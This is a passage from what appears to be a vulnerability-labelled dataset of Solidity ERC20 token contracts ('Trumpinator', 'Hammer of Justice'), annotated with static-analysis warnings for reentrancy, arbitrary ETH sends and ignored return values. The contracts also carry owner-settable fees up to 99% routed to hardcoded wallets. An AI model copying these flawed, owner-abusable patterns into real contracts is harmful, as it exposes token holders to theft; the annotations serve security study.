returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract Trumpinator is Context, ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint64 private lastLiquifyTime;\n\n uint256 private buyFee = 17;\n\n uint256 private sellFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: db393ea): Trumpinator._preventSwapBefore should be constant \n\t// Recommendation for db393ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n uint256 private _txAmountLimit;\n\n uint256 private _walletAmountLimit;\n\n uint256 private _swapbackMin;\n\n uint256 private _swapbackMax;\n\n IDexRouter private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _txAmountLimit);\n\n event MaxWalletAmountUpdated(uint _walletAmountLimit);\n\n event FeesUpdated(uint buyFee, uint sellFee);\n\n event SwapbackUpdated(uint _swapbackMin, uint _swapbackMax);\n\n event FeeReceiverUpdated(address _taxWallet);\n\n event ExcludedFromFee(address account, bool status);\n\n event LimitsRemoved();\n\n event TradingOpened();\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dde8dbe): Trumpinator.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for dde8dbe: Rename the local variables that shadow another component.\n constructor() ERC20(\"Trumpinator\", \"TRUMPINATOR\") {\n uint256 _totalSupply = 1_000_000_000 * 10 ** 18;\n\n _txAmountLimit = (_totalSupply * 10) / 1000;\n\n _walletAmountLimit = (_totalSupply * 10) / 1000;\n\n _swapbackMin = (_totalSupply * 5) / 10000;\n\n _swapbackMax = (_totalSupply * 200) / 10000;\n\n _taxWallet = payable(0x4EeAE02dbDa9541eeDae9045Fd10399dc38CB35e);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _mint(_msgSender(), _totalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3bc81b4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3bc81b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9165001): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9165001: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 51105bc): Trumpinator.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 51105bc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: efd1b81): Trumpinator.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for efd1b81: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0a4f9c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0a4f9c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), totalSupply());\n\n\t\t// reentrancy-events | ID: 3bc81b4\n\t\t// reentrancy-benign | ID: 9165001\n\t\t// reentrancy-eth | ID: 0a4f9c6\n uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 3bc81b4\n\t\t// reentrancy-benign | ID: 9165001\n\t\t// unused-return | ID: 51105bc\n\t\t// reentrancy-eth | ID: 0a4f9c6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 3bc81b4\n\t\t// reentrancy-benign | ID: 9165001\n\t\t// unused-return | ID: efd1b81\n\t\t// reentrancy-eth | ID: 0a4f9c6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9165001\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0a4f9c6\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 9165001\n firstBlock = block.number;\n\n\t\t// reentrancy-benign | ID: 9165001\n lastLiquifyTime = uint64(block.number);\n\n\t\t// reentrancy-benign | ID: 9165001\n _isExcludedFromFee[address(this)] = true;\n\n\t\t// reentrancy-benign | ID: 9165001\n buyFee = 0;\n\n\t\t// reentrancy-events | ID: 3bc81b4\n emit TradingOpened();\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f922a82): Trumpinator.setMarketingAddress(address).newRcv lacks a zerocheck on \t _taxWallet = newRcv\n\t// Recommendation for f922a82: Check that the address is not zero.\n function setMarketingAddress(address payable newRcv) external onlyOwner {\n\t\t// missing-zero-check | ID: f922a82\n _taxWallet = newRcv;\n\n emit FeeReceiverUpdated(newRcv);\n }\n\n function setMaxTx(uint256 newTxMax) external onlyOwner {\n require(newTxMax >= 1, \"Max tx cant be lower than 0.1%\");\n\n _txAmountLimit = (totalSupply() * newTxMax) / 1000;\n\n emit MaxTxAmountUpdated(_txAmountLimit);\n }\n\n function setMaxWallet(uint256 newWalletMax) external onlyOwner {\n require(newWalletMax >= 1, \"Max wallet cant be lower than 0.1%\");\n\n _walletAmountLimit = (totalSupply() * newWalletMax) / 1000;\n\n emit MaxWalletAmountUpdated(_walletAmountLimit);\n }\n\n function setSwapBackValues(\n uint256 taxSwapThreshold,\n uint256 maxTaxSwap\n ) external onlyOwner {\n _swapbackMin = (totalSupply() * taxSwapThreshold) / 10000;\n\n _swapbackMax = (totalSupply() * maxTaxSwap) / 10000;\n\n emit SwapbackUpdated(taxSwapThreshold, maxTaxSwap);\n }\n\n function removeLimitsNow() external onlyOwner {\n _txAmountLimit = totalSupply();\n\n _walletAmountLimit = totalSupply();\n\n emit MaxTxAmountUpdated(totalSupply());\n\n emit MaxWalletAmountUpdated(totalSupply());\n }\n\n function setFees(uint256 feeBuy, uint256 feeSell) external onlyOwner {\n require(feeBuy <= 99, \"Invalid buy tax value\");\n\n require(feeSell <= 99, \"Invalid sell tax value\");\n\n buyFee = feeBuy;\n\n sellFee = feeSell;\n\n emit FeesUpdated(feeBuy, feeSell);\n }\n\n function removeStuckBalance() external {\n require(msg.sender == _taxWallet, \"Only fee receiver can trigger\");\n\n _taxWallet.transfer(address(this).balance);\n }\n\n function setFeeExempt(address target, bool exempt) external onlyOwner {\n _isExcludedFromFee[target] = exempt;\n\n emit ExcludedFromFee(target, exempt);\n }\n\n function readValues()\n external\n view\n returns (\n uint256 _buyFee,\n uint256 _sellFee,\n uint256 maxTxAmount,\n uint256 maxWalletSize,\n uint256 taxSwapThreshold,\n uint256 maxTaxSwap\n )\n {\n return (\n buyFee,\n sellFee,\n _txAmountLimit,\n _walletAmountLimit,\n _swapbackMin,\n _swapbackMax\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d7105da): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d7105da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 91ad3c0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 91ad3c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && !inSwap) {\n taxAmount = amount.mul(buyFee).div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n amount <= _txAmountLimit,\n \"Exceeds the _txAmountLimit.\"\n );\n\n require(\n balanceOf(to) + amount <= _walletAmountLimit,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _walletAmountLimit,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(sellFee).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _swapbackMin &&\n _buyCount > _preventSwapBefore &&\n lastLiquifyTime != uint64(block.number)\n ) {\n\t\t\t\t// reentrancy-events | ID: d7105da\n\t\t\t\t// reentrancy-eth | ID: 91ad3c0\n swapTokensForEth(\n min(amount * 6, min(contractTokenBalance, _swapbackMax))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d7105da\n\t\t\t\t\t// reentrancy-eth | ID: 91ad3c0\n sendETHToFee();\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-events | ID: d7105da\n\t\t\t// reentrancy-eth | ID: 91ad3c0\n super._transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-events | ID: d7105da\n\t\t// reentrancy-eth | ID: 91ad3c0\n super._transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function triggerSwap() external {\n require(\n msg.sender == _taxWallet || msg.sender == owner(),\n \"Only fee receiver can trigger\"\n );\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n sendETHToFee();\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n lastLiquifyTime = uint64(block.number);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d7105da\n\t\t// reentrancy-eth | ID: 91ad3c0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0d09bb8): Trumpinator.sendETHToFee() sends eth to arbitrary user Dangerous calls (success,None) = address(_taxWallet).call{value address(this).balance}()\n\t// Recommendation for 0d09bb8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee() private {\n bool success;\n\n\t\t// reentrancy-events | ID: d7105da\n\t\t// reentrancy-eth | ID: 91ad3c0\n\t\t// arbitrary-send-eth | ID: 0d09bb8\n (success, ) = address(_taxWallet).call{value: address(this).balance}(\n \"\"\n );\n }\n}\n", "file_name": "solidity_code_10333.sol", "size_bytes": 25950, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HAMMEROFJUSTICE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n address payable private _taxWallet;\n\t// WARNING Optimization Issue (immutable-states | ID: abb3bef): HAMMEROFJUSTICE._devWallet should be immutable \n\t// Recommendation for abb3bef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\t// WARNING Optimization Issue (constable-states | ID: c2333f0): HAMMEROFJUSTICE._devPortion should be constant \n\t// Recommendation for c2333f0: Add the 'constant' attribute to state variables that never change.\n uint256 _devPortion = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2548bc): HAMMEROFJUSTICE._initialBuyTax should be constant \n\t// Recommendation for d2548bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\t// WARNING Optimization Issue (constable-states | ID: cc85db7): HAMMEROFJUSTICE._initialSellTax should be constant \n\t// Recommendation for cc85db7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 7da63d8): HAMMEROFJUSTICE._reduceBuyTaxAt should be constant \n\t// Recommendation for 7da63d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: c4aa286): HAMMEROFJUSTICE._reduceSellTaxAt should be constant \n\t// Recommendation for c4aa286: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 383ec55): HAMMEROFJUSTICE._preventSwapBefore should be constant \n\t// Recommendation for 383ec55: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _transferTax = 0;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Hammer of Justice\";\n string private constant _symbol = unicode\"JUSTICE\";\n uint256 public _maxTxAmount = (_tTotal * 12) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: 80c08ca): HAMMEROFJUSTICE._taxSwapThreshold should be constant \n\t// Recommendation for 80c08ca: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\t// WARNING Optimization Issue (constable-states | ID: b0c13c5): HAMMEROFJUSTICE._maxTaxSwap should be constant \n\t// Recommendation for b0c13c5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 500) / 1000;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n uint256 private firstBlock = 0;\n event MaxTxAmountUpdated(uint _maxTxAmount);\n event TransferTaxUpdated(uint _tax);\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x4f6f529A105A0262b3a6F17DDE75de366adB4b1b);\n _devWallet = payable(0x8E3d76935942f72C9E0Ac8cA42f9c03958F9E61F);\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n _isExcludedFromFee[0x8E3d76935942f72C9E0Ac8cA42f9c03958F9E61F] = true;\n\n _balances[\n 0x8E3d76935942f72C9E0Ac8cA42f9c03958F9E61F\n ] = 10000000000000000;\n emit Transfer(\n address(0),\n 0x8E3d76935942f72C9E0Ac8cA42f9c03958F9E61F,\n 10000000000000000\n );\n _balances[_msgSender()] = 990000000000000000;\n emit Transfer(address(0), _msgSender(), 990000000000000000);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 34c40d9): HAMMEROFJUSTICE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 34c40d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3dd3c40): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3dd3c40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a1a843f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a1a843f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3dd3c40\n\t\t// reentrancy-benign | ID: a1a843f\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 3dd3c40\n\t\t// reentrancy-benign | ID: a1a843f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8c979bb): HAMMEROFJUSTICE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8c979bb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: a1a843f\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 3dd3c40\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 04ea06a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 04ea06a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a0a9764): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a0a9764: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 04ea06a\n\t\t\t\t// reentrancy-eth | ID: a0a9764\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 04ea06a\n\t\t\t\t\t// reentrancy-eth | ID: a0a9764\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a0a9764\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: a0a9764\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a0a9764\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 04ea06a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a0a9764\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: a0a9764\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 04ea06a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 04ea06a\n\t\t// reentrancy-events | ID: 3dd3c40\n\t\t// reentrancy-benign | ID: a1a843f\n\t\t// reentrancy-eth | ID: a0a9764\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6811f97): HAMMEROFJUSTICE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls (success,None) = _taxWallet.call{value amount}() (success_scope_0,None) = _taxWallet.call{value ethForTaxWallet}()\n\t// Recommendation for 6811f97: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n if (_devPortion == 0) {\n\t\t\t// reentrancy-events | ID: 04ea06a\n\t\t\t// reentrancy-events | ID: 3dd3c40\n\t\t\t// reentrancy-benign | ID: a1a843f\n\t\t\t// reentrancy-eth | ID: a0a9764\n\t\t\t// arbitrary-send-eth | ID: 6811f97\n (bool success, ) = _taxWallet.call{value: amount}(\"\");\n success;\n } else {\n uint256 ethForDev = (amount * _devPortion) / 100;\n uint256 ethForTaxWallet = amount - ethForDev;\n\t\t\t// reentrancy-events | ID: 04ea06a\n\t\t\t// reentrancy-events | ID: 3dd3c40\n\t\t\t// reentrancy-benign | ID: a1a843f\n\t\t\t// reentrancy-eth | ID: a0a9764\n (bool devsuccess, ) = _devWallet.call{value: ethForDev}(\"\");\n devsuccess;\n\t\t\t// reentrancy-events | ID: 04ea06a\n\t\t\t// reentrancy-events | ID: 3dd3c40\n\t\t\t// reentrancy-benign | ID: a1a843f\n\t\t\t// reentrancy-eth | ID: a0a9764\n\t\t\t// arbitrary-send-eth | ID: 6811f97\n (bool success, ) = _taxWallet.call{value: ethForTaxWallet}(\"\");\n success;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9dc3c1b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9dc3c1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2be27ec): HAMMEROFJUSTICE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2be27ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 04fd7d3): HAMMEROFJUSTICE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 04fd7d3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 458b543): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 458b543: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function 